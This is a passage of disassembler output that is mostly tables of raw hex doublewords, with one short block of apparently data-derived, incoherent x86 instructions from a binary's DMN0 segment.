		dd 789A3677h, 4AC27176h, 0AAD65DE3h, 7185142Eh,	683EFB62h
		dd 490302E8h, 3E97723Ch, 57261B64h, 284CCBD1h, 0C274DE1Fh
		dd 96616962h, 0EB3ECC5Ah, 0A432B3ABh, 0D0C2A272h, 0C6027255h
		dd 7BE69BB7h, 3A96EE41h, 767D99FBh, 64F369ECh, 0F90A516Dh
		dd 0AD213F99h, 8B0E7720h, 87C2944Bh, 5E2E8469h,	5B52CD44h
		dd 834C5643h, 36A6DF9Dh, 9A23B849h, 6C767AA9h, 6C258A09h
		dd 3E97279Eh, 2055E5F7h, 0F043C5AFh, 0F14C1E78h, 0C9244546h
		dd 0D16C8B0h, 7C08CDBFh, 56E370Ah, 5D6D4466h, 0FDB4EA95h
		dd 3C779D7Ah, 0B66F146Bh, 0BC038C8Eh, 668C5EA9h, 34608A14h
		dd 0E1336526h, 0CE2DF8C4h, 5CA76501h, 0AA405C4Ch, 0CE87BEA0h
		dd 0E39F256Ah, 90BF275Fh, 186FF147h, 52AB05A9h,	17029E61h
		dd 0EA1152C8h, 96E6B451h, 35867325h, 0AF3E229Ch, 4D8A5465h
		dd 808F5D64h, 0F3F0F1A0h, 3E1B984Fh, 1C8D6979h,	0BA5692EBh
		dd 0B73B155Ah, 2EA6950Ah, 2625A12Fh, 0EF58C311h, 3BB929D6h
		dd 32BD9F0h, 0B78AF489h, 9CE637E3h, 985C877Fh, 0E3C2826Dh
		dd 5AF4EB7Fh, 9FC24D6h,	7D4BB2D9h, 6922F298h, 2B24E435h
		dd 1C75D66Ch, 831BE89Fh, 544C9FADh, 0FCA9254Fh,	8EE5B741h
		dd 38BA6F00h, 0FA81A4D4h, 2A737DCAh, 681643AAh,	1584770Fh
		dd 30524BBCh, 979E7BA4h, 0E3A4009Fh, 2E9D0908h,	0E08025CDh
		dd 69DB3448h, 0A0864C9Bh, 1ADFB39h, 71443795h, 8D47ED64h
		dd 57C373FCh, 0CE1B305Ch, 1F68634Dh, 456EFA4h, 0C07461B5h
		dd 6F5F2E77h, 505C8E0Dh, 613C313Eh, 0E0CB383Bh,	0B877D639h
		dd 79FAB1F9h, 8A3191FAh, 0F8C8FAC7h, 9A582C2Dh,	7B839CB5h
		dd 47B9E095h, 0C5A21B92h, 0BABD1C8Bh, 9A96A5E1h, 961075E1h
		dd 2B3462C6h, 0E783DC5Eh, 0D2B04FC5h, 5EE8CADAh, 670E613Fh
		dd 0C9B8C746h, 0B66F26A3h, 64FB963Ch, 0FDD2DA0Eh, 58000342h
		dd 76802653h, 9EFD784Dh, 229FF10Eh, 0CB058F88h,	0CDCADFE5h
		dd 0E4EBD1B9h, 7E1C1AD4h, 2AA828C6h, 0DF3D73C0h, 4BEE5BEEh
		dd 7AB1B83Dh, 1B64AB0Dh, 0FDD7F1F9h, 0BF7505E2h, 0B85698B1h
		dd 0AB8A3654h, 27D509BAh, 0B3596E36h, 0F3547DAh, 11D820D5h
		dd 0E1C4729Bh, 0F74E1D9Ch, 0FA365F1Bh, 0F81C4059h, 0EE769D2Ch
		dd 8372E56Ch, 3CA9F207h, 54CCBE73h, 0D9AC1744h,	0AE87D5BAh
		dd 1F6EED4Ah, 0CDFA10C1h, 0B86A2597h, 0C219CF17h, 637010A2h
		dd 2230D57Bh, 57A16A21h, 0FE810D85h, 0C31490B5h, 854105A6h
		dd 0F819D809h, 3314A9D9h, 0E318AB48h, 3780969h,	5D277B99h
		dd 0F8227F17h, 0E658537Dh, 41B788AFh, 36FE7C21h, 0B4D45E64h
		dd 4F45C44h, 0BF0D0510h, 1A9531D0h, 66DA2456h, 93E52DAFh
		dd 21F06659h, 0FD8604DDh, 0AD45C74Fh, 0AB46F92Fh, 2E03467Bh
		dd 0A79F806Ch, 5F57ADDFh, 6438F1B8h, 0E8BA5176h, 0FC42CB29h
		dd 2D847D25h, 209D6FD8h, 0A5A4C55Ch, 0F690DB8Ah, 98E2AC66h
		dd 596F7537h, 454E6A7Fh, 8BC91785h, 36876DFBh, 1F5BB063h
		dd 72F0EA18h, 227D3E28h, 74FA06A0h, 0BB59F70Dh,	7048A142h
		dd 25325C5Ah, 9936D45Bh, 2F2CE56Bh, 79675526h, 778F4FE6h
		dd 0ED51F7Ah, 69478CF0h, 0D3A42270h, 0C922B91Eh, 0FB46153h
		dd 23A3959Fh, 0F218F653h, 6A21000h, 9F69B71Ch, 599CB736h
		dd 2A45B99Eh, 45AF5C10h, 0DAC81048h, 4A6F8FF4h,	0A4377E5Eh
		dd 45D87E67h, 0CDC5B4C5h, 0C25FAED3h, 9127897Ch, 53C19102h
		dd 0F598FB4Bh, 0B76BEAAAh, 1F97BA6Ch, 28F81911h, 0DE3EC074h
		dd 925A015Ch, 34C85D64h, 465BFEA4h, 0EA4DE30h, 0D08258EBh
		dd 529C8A1Ah, 3A24BDD6h, 8CF20C3Fh, 5EA07A67h, 0EE1FF641h
		dd 2441FB69h, 55D7EE36h, 96DFCF2Eh, 0F4E6B29Ch,	0D10D41D9h
		dd 0C3F74E10h, 14C257B3h, 21DC2F85h, 66FF90FCh,	0BFA0B8EAh
		dd 394B204Ch, 0E65924E9h, 0AA794BFEh, 12733AE9h, 0A08542A5h
		dd 78D396DEh, 0A4CB36CAh, 90B5EF13h, 0CB22B62Fh, 3E5A611Ah
		dd 98EBC63Ah, 0FC1DEF67h, 0C1443C6h, 299EB54Ah,	805A6F98h
		dd 6228D380h, 2FAC626Eh, 0C858BF2Eh, 0C288B1EFh, 4E9C5BF8h
		dd 0ABF53C8Dh, 2DFAA940h, 264EA5Ch, 0DC85B60Fh,	842E66F9h
		dd 0EA8EF834h, 6EE59BFFh, 0A29D0BCh, 221E73A2h,	8B6B1D4Eh
		dd 4CA2ED25h, 7B8899ABh, 91E4F632h, 0E6495723h,	8F5F727Bh
		dd 2A575562h, 0F6AE78C3h, 0DE5CE8B8h, 9B4420F7h, 0C920D532h
		dd 0D35C11A3h, 91A3CFBAh, 0BF5DCDA1h, 9E2E14D6h, 0EB18B4DEh
		dd 0E2A634CCh, 8FF5F15Ah, 0E41FF15Dh, 0BDEA80D2h, 445A363Fh
		dd 98D6976Bh, 0E6CE681Bh, 7F50701Dh, 0C1969B71h, 0CACDB9E0h
		dd 0C5888CE5h, 2D2302E4h, 3AC93338h, 0EFDF212Ah, 3907EA72h
		dd 0EBD871EEh, 8E0759F5h, 84A5E3DCh, 58EDFD43h,	0C3CDAE0Fh
		dd 836A62E1h, 94CC9618h, 0AE6F0889h, 782CD004h,	0E8A620AFh
		dd 60828CC8h, 21633CEh,	71454005h, 0B8B49CCBh, 8D4D9747h
		dd 342308AEh, 17DE38AFh, 48337068h, 8555D2FDh, 13907D91h
		dd 0F6F5E730h, 2DF5D0Ch, 0F9F7023Dh, 0CD86380h,	30A0B3E5h
		dd 0AB502D0Fh, 0E1660CA6h, 0E68AF173h, 0BBD7CDFCh, 8320C19Eh
		dd 8E829CDAh, 466C25D1h, 6E03CC8Dh, 2134F3A3h, 0D91EF55Fh
		dd 0E1C3DC3Dh, 9BB5D208h, 8D76C7FAh, 34E08BC6h,	30EBD46h
		dd 0E73E7D77h, 21FB3867h, 92D008F3h, 9B28D4C1h,	0ABBC20Eh
		dd 494E9065h, 23C7AF26h, 0C67A57EEh, 4E02F626h,	153F1EA0h
		dd 5C237496h, 4384B202h, 9342E593h, 61EF9CFBh, 0F3E68EFFh
		dd 0D56D5A3Ch, 1EC02715h, 0F5EF9C3h, 0A3FE870Ah, 2AC67AFEh
		dd 4927F4CCh, 0A6F2BF53h, 5A2C30EEh, 31C50D4Ah,	0F6E8B745h
		dd 22B9E365h, 43ABE281h, 2029369Fh, 0A361EC80h,	743C9403h
		dd 52AD1577h, 40C20E6Eh, 9C7B5939h, 79C3EA58h, 457B072Ch
		dd 0F23383A3h, 85865833h, 9B3C46E3h, 71CBA08Ah,	0AA86D57Ch
		dd 0EDE8B242h, 0FCDBF20Dh, 0BBF294DFh, 506EC54Ch, 0AB4D398Ch
		dd 4A5C2135h, 242B4F63h, 3FEFA4F2h, 595D4F92h, 4EAB9B7Bh
		dd 27A5E6F8h, 42725B14h, 0C1AE5EAFh, 0F86AFCFBh, 870431F5h
		dd 1842DB6Dh, 910B408Bh, 1331F969h, 0CC651B18h,	4435F597h
		dd 45E96AEBh, 5C328C5Dh, 0A8A194DBh, 0ECE46904h, 0E8CEC8E5h
		dd 15D294ECh, 76CB4851h, 4E188429h, 8C9664F0h, 9AE5BEh
		dd 8DF7649Bh, 0A24BAB0Fh, 7D4E48E3h, 36E89D31h,	0B8D46796h
		dd 6955C3D6h, 15C258E7h, 73FA00EEh, 6877E8A4h, 5BCC353Ah
		dd 9A62033Ch, 6B2741ACh, 0AB5F134h, 77D84D9Eh, 0B8C9A4ADh
		dd 3F68E151h, 84D6EEFAh, 3D69B6A7h, 0AFD9212Dh,	8141C05Ch
		dd 36F27EBBh, 7AEA068Ch, 11BDCB9h, 8A65BF86h, 4B5E5A38h
		dd 0EFB032F3h, 6FB82126h, 0EF519757h, 41DF492Dh, 0B001022Ch
		dd 1E520013h, 6C23701h,	0EF7ADC94h, 3D927C9Ch, 3528D5B7h
		dd 0E203AF86h, 86100EF6h, 4B92BD8Ah, 35458C1Eh,	397F47ECh
		dd 6A832A20h, 2225E3DCh, 0A6CC9BA0h, 16A8F8D9h,	8B84AE7Ch
		dd 0E18EA893h, 0C9B9120Ch, 0FFA36972h, 0D2B85E40h, 0C8C1BD1Eh
		dd 12DD6293h, 8442A1Dh
		dd 2DC07209h, 80096BC0h, 0AD2F0336h, 0E12DE0E9h, 0A8AC15CAh
		dd 0ED33D79Ch, 313C225Fh, 7606A344h, 0F091DF16h, 0DC6D3E20h
		dd 7F883614h, 0EBEFD2C6h, 45614499h, 0EECF8900h, 0D1E56D18h
		dd 1512B061h, 592EC7E2h, 424E2298h, 4D57D832h, 7715A276h
		dd 0F78D91E4h, 1A14956Fh, 0CACE0C1h, 5AA49FA1h,	83E2A6F6h
		dd 0A6C72988h, 9857A9E7h, 1B82BA9Bh, 17505909h,	672F7E84h
		dd 0A9AD9205h, 0F10E641Dh, 0E687E232h, 67F011C1h, 57B60581h
		dd 0E461A273h, 5D9AA87Eh, 0EF46BA6Ch, 77FF928Fh, 6EBC9406h
		dd 31F579FFh, 0F83B7F4Bh, 523AD564h, 19817184h,	6503B3CDh
		dd 0DDD49880h, 237180AEh, 0F8569A68h, 5461EAC5h, 8B9DC791h
		dd 7D592E71h, 5EFA61C0h, 0DCAEE044h, 0DD85F405h, 97E908C8h
		dd 64D0D15Ah, 80932250h, 0B2344F05h, 0B5CD5496h, 170EC48Dh
		dd 0D905D024h, 0C2CCDEEAh, 7238749Bh, 0A890BCAEh, 8CA2229Ah
		dd 63015C09h, 983F9FB7h, 5372023Ah, 0B9F3F238h,	2EDDE9C7h
		dd 54CEB09Dh, 12705A22h, 0FD28C699h, 8642CD51h,	51847ED4h
		dd 0CD973AF1h, 0B98A50EEh, 9EB907A8h, 0BC099D04h, 0BB18E019h
		dd 54A654A3h, 0D2621258h, 2150CE3Dh, 0A1895DEBh, 0EFDE583Ah
		dd 74F764A2h, 4E18BE3Ah, 0B5A1435Ah, 9DFD1DD2h,	53CE08Fh
		dd 0E5691863h, 0E6AA72BEh, 2BA3E19Dh, 63A3613Fh, 77EE8C1Ah
		dd 0E4280F7h, 662A7FCAh, 0FE1FF91Ah, 8FC98600h,	0EC81B68Ah
		dd 0B1DAB59Bh, 67C7DDF6h, 0BC1FA94Eh, 20853239h, 0A320B3D4h
		dd 59E630DAh, 0DEECDD1h, 0A5EBC1Dh, 0A8CD0579h,	302A1A1Bh
		dd 0AAC954E5h, 0DD60D452h, 1C36B4E0h, 46E65460h, 850CF467h
		dd 52AEDB2Fh, 0E6CE706Ch, 0D07C6918h, 0C42B2EDCh, 0EA39DA99h
		dd 0EC1E3BE8h, 0AA809B6h, 14BB878Fh, 4C3F382Bh,	0EC1A2A27h
		dd 9D07AA31h, 0CB64E68h, 0DE21CB7Ah, 0A18D272Eh, 0E50BF1F3h
		dd 3E6230BCh, 60E2010Bh, 220868Ah, 0E97DB823h, 0C01227A5h
		dd 7A16D8BCh, 0F71C34C7h, 0D056EA24h, 0FA7C5BCAh, 2759BDDCh
		dd 6111546Fh, 35BA01B6h, 5099DF8Ah, 95AB4E34h, 0E6D59611h
		dd 0EF80F49Bh, 0C627C42Ah, 0F42F35E3h, 0E2DF6189h, 7E03AFEBh
		dd 6B6A36DFh, 1EF059D8h, 641A495Bh, 0D488E67Bh,	6B11B934h
		dd 0FC1B17A7h, 0C024C585h, 893C0D9Ch, 0A51A1C87h, 30A8C277h
		dd 454B5F16h, 264A38B8h, 2E0A3711h, 71A3B7C7h, 9600FDA1h
		dd 0D8155AB2h, 0A73FE1CEh, 50705985h, 340822ECh, 30ED3975h
		dd 456D1F8Ch, 0C3D4C532h, 22B6EDE9h, 0EA45106Bh, 6AEDCE30h
		dd 0F42BE4E0h, 349B90E9h, 7C864F87h, 196F79DBh,	7ED0623Ch
		dd 190062A6h, 4420973Dh, 0A2D75FE4h, 2C5CBD56h,	7F1043D3h
		dd 56002EBBh, 262C310h,	2EA0E01Fh, 68D22D41h, 0B7E274E6h
		dd 42047A5Dh, 38CD674Fh, 8EAC5A97h, 0F2C2DDC8h,	3D2DE514h
		dd 1492942h, 95731C0h, 0BCCF0EE4h, 0D4376A40h, 0C0339DB4h
		dd 6D8CA9F4h, 63764D23h, 3D0CA164h, 0B7221F3Ah,	11C67307h
		dd 16F7B89Dh, 1E07F10Eh, 0E9DED88h, 7C4562A2h, 0B1A9BFACh
		dd 415DD963h, 8196558Fh, 70BB30EEh, 4073483h, 0AFFFB96Fh
		dd 61D1C76Bh, 430BD975h, 0E9C34E22h, 0B1405B47h, 7FEE568Ah
		dd 3CFC4D15h, 0BE6CA1ABh, 6CC541A2h, 0E0B1EFE6h, 8C78241Ch
		dd 8A7FAA6Fh, 3AB92732h, 0CF6EC2A5h, 0F29F1F68h, 516357E8h
		dd 0A49492CAh, 0B6B501F1h, 4A36FB0Eh, 0E0D59A0Bh, 5DAEDF30h
		dd 5EC44A26h, 5FE460AFh, 0CFB97BA7h, 1ED090CFh,	58E47E58h
		dd 0C6B6FCEEh, 0D8ED9977h, 2AA2C9FDh, 65BF0C97h, 37386B6h
		dd 5451DB37h, 4996936Ah, 0F53C2704h, 17058659h,	0D72B6769h
		dd 0DE02807Ch, 0BE132EC2h, 3D2FE6FFh, 46FC2BB4h, 0ACACE495h
		dd 7BF27518h, 3BE60CBEh, 9AF96C5Dh, 1A414117h, 0F68A6F8Ch
		dd 0F8AA0F3Ch, 5FC399D0h, 5749D3E5h, 296A28D6h,	76CD6BB7h
		dd 0F3EBF8F8h, 0A1800ACh, 8115C858h, 0AA16C3E3h, 0F55325BAh
		dd 0CF6DBA83h, 0EB57FD62h, 9BF1AF6Dh, 0D75E9F95h, 0E2CFFEB2h
		dd 0E55C3329h, 3EB55B81h, 4CDA72F6h, 116E2451h,	2AA981A1h
		dd 0F0091B6Ah, 2BC18591h, 0F759ACF8h, 2586A2ECh, 500CF7B6h
		dd 0BE0B2C25h, 0ACBE5CDh, 57F82FF8h, 858C411h, 71D82F04h
		dd 8494F1A8h, 993C325h,	0B204147Fh, 2C274E3Fh, 0DCC5C7EFh
		dd 932666FCh, 0B3A9ED18h, 714A5668h, 0EF76FBA5h, 15012624h
		dd 55C6A634h, 0EB4268C6h, 8EFF3885h, 0BEECFCFAh, 7C97093Eh
		dd 586A8764h, 0B0772B35h, 19B5E6D9h, 54B9B3C3h,	0FB52F561h
		dd 0EC529608h, 4B51537Ch, 0C2422CCBh, 6B5D8B7Dh, 19EFF1C1h
		dd 361AA0E7h, 97048E61h, 0C4854869h, 67473327h,	81EA3E3Ch
		dd 0DD89A987h, 2EE8F824h, 28B0E8B4h, 86725E2Ch,	211217CEh
		dd 8A51CDCFh, 4D34DCCBh, 2EC07DF8h, 0CFCAA26Ah,	2237D210h
		dd 90258DB8h, 683381Bh,	0CB4E5CD6h, 0F1482759h,	0D06879FFh
		dd 2CF8DD58h, 0E6D61303h, 2F103CFFh, 36C793DCh,	0BC654CD3h
		dd 79FDF83Ah, 0A25C1F14h, 3BEB8FEh, 0D53DDEF2h,	5876EFF5h
		dd 760A80A0h, 8D79B362h, 17DDDC5h, 0B987B3A4h, 3CC5BF89h
		dd 8D792A28h, 5910632Ch, 3E82B63Ch, 0C35EE5D4h,	72D0505Fh
		dd 11C138CBh, 1DB2C4B1h, 0FD81E6BEh, 3D7D154Bh,	8BD493A5h
		dd 75CFDA3Dh, 5C94C98Fh, 85A7C39Eh, 0DFC7FE4Fh,	0EC75DA9Dh
		dd 4B32B1A1h, 3EAAE863h, 0D70D2642h, 410AD04h, 434D3EF3h
		dd 24A7703Bh, 30430844h, 0A2A45ED1h, 0D514EADBh, 121C1250h
		dd 21AA04C4h, 968EF9E5h, 98502C03h, 6F026C35h, 0F1F78348h
		dd 0D7B5F82Eh, 0E673FA50h, 0F1B145B4h, 3450FA7Bh, 5938B248h
		dd 3900BC7Dh, 0F1785962h, 0F1D5D36h, 5C29CCCEh,	6709E826h
		dd 6733E53h, 0D02D3309h, 47DC8F19h, 708525Fh, 38A05CEEh
		dd 5AEB475Ch, 3FB4370Bh, 0D0CA4D6Fh, 0F6C8023Ch, 0E026E265h
		dd 62C67B80h, 59CABD2Ch, 3CFA5980h, 0E927443Dh,	0E68DDDB6h
		dd 5E4E41Eh, 0CA18A4Ch,	8CEFEDC2h, 0C10C108Ah, 7C4357EEh
		dd 44CDA7BDh, 0F6CE0931h, 0DEEC68BCh, 0BCDE2441h, 0F1E11DFDh
		dd 7BE9645h, 90FA54F9h,	0C8E487BAh, 0D4118BBFh,	9A25362Ah
		dd 0FEF6F1Dh, 5F0680FEh, 0A2AA3FB1h, 7D3F0649h,	2D4839ECh
		dd 0DF09854Eh, 0DA1BDD0Dh, 34647BE6h, 0ACA7581h, 0D2B1AD64h
		dd 0EF084B28h, 9E630007h, 0AF75C33Dh, 11961C3Fh, 0AA440C62h
		dd 80BF32A9h, 8A9F79C3h, 0C5F7289Ch, 7DB9558Dh,	510E09D0h
		dd 0BCAAD59Eh, 0A6D026A7h, 0BCA37263h, 0E2BAC5A7h, 0B1F35094h
		dd 0B9C658A9h, 70B6617Eh, 9A53FA90h, 3F1EE4Dh, 0E147F25Eh
		dd 0B8CC151Ch, 0BF6CBC6Bh, 0EB501814h, 34DC30ABh, 6187E5D2h
		dd 5C011667h, 82AE0D30h, 0B80F9C33h, 0CFB1D444h, 0A338DBA1h
		dd 55AA0DABh, 2146C6FDh, 96492571h, 6DDB0156h, 5F37EA2Dh
		dd 70524E1Dh, 0F92D31CDh, 833AFB47h, 0FA3C29A4h, 71259BA1h
		dd 0B3046236h, 7F846A2h, 0A395D82Ah, 9EDE5FB2h,	721E858Dh
		dd 93482044h, 0F79E2EC7h, 0FE2F4E00h, 0C5FCF549h, 3B6BBDA7h
		dd 0F0F70D0Bh, 3C7D8656h, 7F8F4A8Dh, 2DF30B28h,	5C04D57Dh
		dd 37980528h, 47ABCA52h, 0A86B94B1h, 486F393Ah,	5E3E93C1h
		dd 42764BD8h, 4EFB6E2Dh, 0A1F735D6h, 0A1AF6C6h,	18354A4Bh
		dd 8401F030h, 67C47ECFh, 0CCAF95DFh, 168BBDB2h,	0A40BF737h
		dd 2BCF6D22h, 0CA5CC99Dh, 0C439C563h, 1213C154h, 2196129Ah
		dd 0FD166297h, 9B1AD8FEh, 3D29E16Ch, 268058D2h,	78DDD6A5h
		dd 120E3FBEh, 0CC52FA90h
		dd 835C44C5h, 0BA2CB871h, 0F8BAC1EBh, 0C813D8A7h, 0EC675A3Ch
		dd 2000AF02h, 17703E80h, 0AAFAB497h, 0A973146Dh, 6405E281h
		dd 0F56DE9Ah, 25D3EC5Eh, 2039AA7Bh, 91218E50h, 9912CCB1h
		dd 0B0336E0Ch, 0BBD1C240h, 0F71D86C3h, 402EA5EBh, 0B741208Ah
		dd 284E5B2Fh, 5AFACA56h, 8C18AD3Ch, 0F1D4FEA7h,	634D9349h
		dd 8449B94Ah, 73728931h, 3F997C84h, 2830EB67h, 910183C4h
		dd 0C287F649h, 2C9F4431h, 0B873F003h, 93E4EE07h, 4802CD81h
		dd 0A88C5400h, 38EDD990h, 2036F138h, 0D51351BFh, 4298285h
		dd 0A1501975h, 7E194314h, 0FBE96E39h, 2048A3CEh, 6F2F6260h
		dd 68552498h, 626E1D78h, 363AA6ADh, 8D281D34h, 46E4D48h
		dd 78A54639h, 0D41EA3Ch, 0B968C574h, 356E704Bh,	214915EDh
		dd 598FA479h, 6DE35BC4h, 21E1B111h, 0C0E29BA5h,	0D423E1CDh
		dd 0D9E1FC47h, 0B5394E72h, 57FE5667h, 0B2D6E7B0h, 50B6DC96h
		dd 1B60D23Dh, 9677989Ch, 926B369Ah, 0AF203D85h,	8BAB74EDh
		dd 0E00F2304h, 6694A0C4h, 3B2F20BAh, 2920BCBEh,	97AE283Fh
		dd 1CC6DC94h, 0D66B4E04h, 0EDC40DD9h, 0FE1C9554h, 348148EEh
		dd 233DEA53h, 0C7E3FA50h, 0A857CF1Ah, 0D32431FFh, 0EE4456EDh
		dd 0EFD83040h, 63C9DDFAh, 0FFC22B64h, 0D5DCCDE5h, 0A600017Bh
		dd 7386E66Ah, 0CF28E1F3h, 34D52391h, 0CF3B4C0Eh, 0AA09D217h
		dd 0E1A357BCh, 67B575C0h, 6CC4C2BDh, 6D125D6Eh,	27A800E7h
		dd 0B0D3361Ah, 8DA2E7E4h, 53485E88h, 5429463Ah,	0F511D129h
		dd 0DBDA033Eh, 1B1CB9A7h, 0D05E7D34h, 0F83A6253h, 2A7E49E8h
		dd 350A8E8h, 0E626ABEBh, 32DDDDA1h, 0D631DEDCh,	0FA815DD2h
		dd 51C72F7Eh, 0A6CC6D1Dh, 944B5638h, 3C059284h,	0DDC1372Fh
		dd 991D8123h, 783BBA85h, 0F8E2FB8Eh, 0CA015C9h,	362B69CAh
		dd 578C7B1Bh, 934C10FCh, 7A7871B7h, 19F99584h, 5F53C5BAh
		dd 4602F140h, 187AF5CDh, 4B3B328Dh, 0A8BF0346h,	2DA1E292h
		dd 87599463h, 91CEC4D9h, 0EE019C25h, 6C803B27h,	7586B59Ah
		dd 0F9847A8h, 0C3C20D1Ch, 4969E5A1h, 0C56B0929h, 271EA2EAh
		dd 9706277Dh, 0C73089DEh, 706B2E22h, 40EB2DBCh,	727832AAh
		dd 0BBD59BDh, 23BF0E4Ah, 58DFC814h, 0B520B8A8h,	6398D16Ah
		dd 0B164C548h, 0E2382918h, 7E3D4EF2h, 0AC2FCA03h, 6BD469FEh
		dd 0B2654133h, 47628225h, 2E0C8BCFh, 11F63840h,	0E74A3266h
		dd 3F54F4A1h, 687A482Ch, 564694FAh, 0DC92B309h,	7972A515h
		dd 35A53EB0h, 6195C2F8h, 0A8C217BBh, 73D81702h,	37314A52h
		dd 2FA45138h, 0D3676DBAh, 0E7F14B95h, 0A98984FDh, 0D77B5E44h
		dd 0CE972CC7h, 0FE2C34F9h, 280384E6h, 79E267Dh,	9638C9CEh
		dd 0B551701Ch, 320B03B4h, 0B749AC16h, 4538CCD2h, 0D986BDB9h
		dd 807841EEh, 65057DB4h, 4EB35DF5h, 8E057CBBh, 8F89D10Eh
		dd 2F4FBDCBh, 29DB0B69h, 5F237706h, 3520EAA9h, 0E62E1D15h
		dd 0A633E354h, 99095582h, 9B62445Bh, 386140E7h,	2222B443h
		dd 7A33274Bh, 27485264h, 0D55DEA5Ah, 75B5D65Ah,	7D132082h
		dd 0D99AFBB2h, 0D1545EDAh, 43D96DF1h, 2916514Bh, 7F484B50h
		dd 0FFF1BF4Fh, 7B5623FAh, 2F0BC8F4h, 0FEA22A54h, 31905D34h
		dd 0BB7E35DDh, 0B0C23BEh, 80323682h, 0D6D0A7Dh,	0F82865F2h
		dd 90538D7h, 9CE24556h,	1669B6F3h, 6D6976BAh, 24CC8976h
		dd 90A7D63Dh, 3D6772C5h, 0C9FA9393h, 0FE83B99Eh, 9B53CCD6h
		dd 0B3CF33E8h, 0D91158F7h, 0D584C7D0h, 83014h, 245AE3A9h
		dd 81481F7Ch, 34D03CFEh, 0C5DC272Fh, 0D0201EBh,	7C5974BCh
		dd 191B64EEh, 0E5C1DA3Fh, 7D3AE9C2h, 0C20AA6DFh, 563BC598h
		dd 0E2581301h, 0DB266DF8h, 0C7CB0338h, 0DD7A029Ch, 8D7DF02Bh
		dd 3EDB5A8Ah, 0CBAEDBB2h, 24A62C5Eh, 0D025170Bh, 457908B4h
		dd 0B0EB2FA3h, 12A33F4h, 76483717h, 48E1C824h, 0E55839D8h
		dd 0C16298E0h, 26FBFDC1h, 0C7A4FAE1h, 0B6E0C6B2h, 0E75D2545h
		dd 9DB9946Bh, 61390373h, 8324EA07h, 7D3DD287h, 4F2D4BAAh
		dd 577B633Eh, 48FBC86Ah, 1BE6FBFh, 0EA8C48C8h, 0A54CE6CBh
		dd 0BDA4E61Eh, 0C9F3CA5Dh, 0A6E6A735h, 29A8F6A7h, 2D81C245h
		dd 365C33D4h, 0A3E680F6h, 0F3A3CD41h, 553A3595h, 0E28C13CCh
		dd 0FAD2145Ah, 0D4C719DAh, 0BF30C0Ah, 61BD7E7Dh, 0FDC9E8F2h
		dd 2441103Dh, 0C1A66C13h, 0B77E5A56h, 9B2C0700h, 5C26DDF0h
		dd 55D18A5Ch, 878699F4h, 0E4C8E0E1h, 0B31EFCA9h, 95FB4F33h
		dd 0C4309784h, 2A923B19h, 4F49D2C9h, 63B22F17h,	2095AA32h
		dd 6CE27833h, 49BFCECDh, 0F300EB5Dh, 26E59A9Fh,	0ECD176EDh
		dd 0DBFDFDCDh, 830BBAE5h, 0F9489832h, 3A96082Dh, 0ECA3C011h
		dd 6D51F202h, 0BB5A15D4h, 9B1D1D25h, 34A1B580h,	73841B87h
		dd 0BD574F7Fh, 0A9BB5B5Ah, 48BC6A94h, 9E8725D4h, 0BE4ED574h
		dd 33A32872h, 12336355h, 0B8CF81B0h, 59639EACh,	13A4D104h
		dd 193442F8h, 4BC88620h, 0C2D33C9Ch, 9891FCD4h,	4E098C79h
		dd 0EE26790h, 3AE9721Dh, 1975BAD9h, 5A7211E9h, 0F1C1EEFCh
		dd 0D6DF742Fh, 0A400E63Bh, 0BBC5E5CFh, 55C1E3BBh, 0B0E2245Fh
		dd 9D44E653h, 0C1B01B8Ah, 30A379A8h, 0BFD50901h, 3DCCAA5h
		dd 4E483C55h, 0DBB61868h, 594B501Eh, 7C753EABh,	7CF79C83h
		dd 1B9254D6h, 0D738C308h, 1A26495Ah, 0E5143001h, 2EBD1F30h
		dd 42C3EF1Ch, 0EF79E91Ah, 0D27B053h, 0B3C71DC6h, 0D357A96Fh
		dd 0A77E40CAh, 0AD2EC15Eh, 9E90AB2Bh, 78E4ADA7h, 0AE041954h
		dd 7A2DF77Eh, 0BB72DEE5h, 8DB9A9F4h, 0E0B0E4A6h, 13A1CD40h
		dd 8F4FC3A6h, 46DE01C3h, 8DF8F5A6h, 0F8E304C0h,	0B3D129AAh
		dd 49F37DA0h, 0AB528AA6h, 0A92D9DF2h, 1C410932h, 4DE96B0Bh
		dd 70074B73h, 14FE2BB7h, 7EFF2F54h, 0E091E1B6h,	0E985B650h
		dd 34BB917Eh, 0B8CFD048h, 6067AD05h, 4ECA91D3h
		db 0E3h, 0E8h, 32h
; ---------------------------------------------------------------------------


loc_42A297:				; CODE XREF: DMN0:0042B065j
		xchg	eax, [edx-7BC48A18h]
		sub	[edx], dl
		rcr	dword ptr [esi+55h], 1
		ror	dword ptr [ecx], cl
		inc	ebp
		not	byte ptr [edi+33AB1D83h]
		pusha
		fnstsw	word ptr [edi-48BEC972h]
		rcr	byte ptr [ebp+5F2951E5h], cl
		sbb	[ebx+7Fh], ecx
		jmp	far ptr	0FEF6h:759C38CDh
; ---------------------------------------------------------------------------
		dw 39EEh
		dd 971FE9E2h, 0F9AC2E12h, 6CD3FAC4h, 0FF1D7DC6h, 156DFBB1h
		dd 72249870h, 0AE4DB755h, 720C8FC1h, 12F98AFDh,	5129B09Eh
		dd 45459F9Dh, 9C8E4374h, 0C1D63FCh, 99AB6AFFh, 8A58FF72h
		dd 89114F0Fh, 10CC0548h, 9C48820Fh, 0A9F4DB1Fh,	6D4705DFh
		dd 93A82A41h, 7309838Bh, 584110C9h, 34A5283Fh, 9A9D66F2h
		dd 196370D9h, 975AE32Eh, 0E85ADAD9h, 843B0E87h,	0F165445Bh
		dd 0A649A48Bh, 0C5132D4Bh, 0B2BC3E73h, 0EF14EBDFh, 0B8A28C47h
		dd 0B5D23484h, 8EB8C2B8h, 7EF7AA15h, 7F8A9C1Eh,	3C26C086h
		dd 25350402h, 2C4F6C4Bh, 0A1500C0Dh, 0C382AEFDh, 1315049Fh
		dd 58582CA7h, 4C5F5C55h, 0ABCD5F57h, 0C67D2EA5h, 645107BDh
		dd 6D4509A7h, 1891D5FBh, 0E912BDBEh, 0EA6B01EEh, 0CA51B48Eh
		dd 0ED16C3B0h, 0FE9B6ED7h, 36464066h, 0D1B95265h, 0E9C21DCBh
		dd 0D14B27B1h, 63536B30h, 460D852Eh, 6A180B00h,	1BF2D595h
		dd 0D412F7A1h, 4482EE13h, 82271EC7h, 19357E2Bh,	0E8211C45h
		dd 2E1F6E4Fh, 0BEE113Bh, 0C8B37156h, 33141309h,	412BA70Bh
		dd 698430ACh, 2C96F4ECh, 0EC966AF9h, 0F7C26D63h, 8BE5F455h
		dd 9AC11224h, 0F0ED32E1h, 6300AFE1h, 8A29F50Fh,	7529A87Eh
